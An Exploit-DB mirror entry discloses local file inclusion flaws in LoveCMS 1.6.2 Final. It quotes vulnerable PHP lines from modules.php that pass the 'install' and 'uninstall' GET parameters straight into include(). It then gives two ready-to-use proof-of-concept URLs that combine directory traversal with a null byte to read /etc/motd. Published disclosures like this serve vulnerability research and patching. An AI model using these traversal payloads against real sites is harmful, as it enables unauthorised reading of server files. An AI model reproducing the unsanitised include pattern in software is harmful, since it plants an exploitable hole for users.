exploit-db-mirror/exploits/php/webapps/15831.txt
Offensive Security b4c96a5864 DB: 2021-09-03
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

26 lines
No EOL
716 B
Text

LoveCMS 1.6.2 Final Multiple Local File Inclusion Vulnerabilities
found by cOndemned
vendor: http://lovecms.org/
download: http://sourceforge.net/project/showfiles.php?group_id=168535
source of /system/admin/modules.php
13. if(isset($_GET['install']))
14. {
15. $include = $_GET['install'];
16.
17. include(LOVE_ROOT . '/modules/' . $include . '/info.php');
[...]
61. if(isset($_GET['uninstall']))
62. {
63. $include = $_GET['uninstall'];
64.
65. include(LOVE_ROOT . '/modules/' . $include . '/info.php');
proof of concept
http://[host]/[lovecms]/system/admin/modules.php?install=../../../../../etc/motd%00
http://[host]/[lovecms]/system/admin/modules.php?uninstall=../../../../../etc/motd%00